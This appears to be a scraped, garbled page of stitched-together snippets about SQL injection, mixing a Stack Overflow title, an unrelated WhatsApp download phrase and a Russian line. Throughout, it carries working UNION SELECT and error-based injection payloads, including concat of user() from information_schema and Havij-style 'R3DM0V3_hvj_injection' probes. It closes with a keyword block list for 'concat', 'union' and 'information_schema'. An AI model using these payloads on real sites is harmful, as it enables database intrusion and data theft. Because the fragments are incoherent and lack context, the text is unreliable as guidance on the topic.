sql - Union to handle NULL values - Stack Overflow ... count(*),concat((select ( select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1) ... whatsapp for windows phone pc download99999" union select unhex(hex...
';SELECT null,null,null,null,null,null,null,null,null,null, null,null,null,null работает вне зависимости от числа полей в исходном.
...function=members&perform=memberappita&entity_id=11+limit+0+UNION+SELECT+1,2,concat_ws
If field is not sanitized, and only if the number of the columns used in the UNION SELECT match with the columns of the query, most likely will appear the string 91351456272.9 somewhere in the page. That will be the confirmed for the attacker of a vulnerability in the page.
-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
999999.9+union+all+select+%27R3DM0V3_hvj_injection',null
The used SELECT statement, referer: http://site.com/index.php?page=shop.browse&category_id=25&option...
Your thoughts about changing the nature of your business are helpful. On my site, for instance, it's entirely safe to fail any request with the string 'concat' or %20union' or 'information_schema'.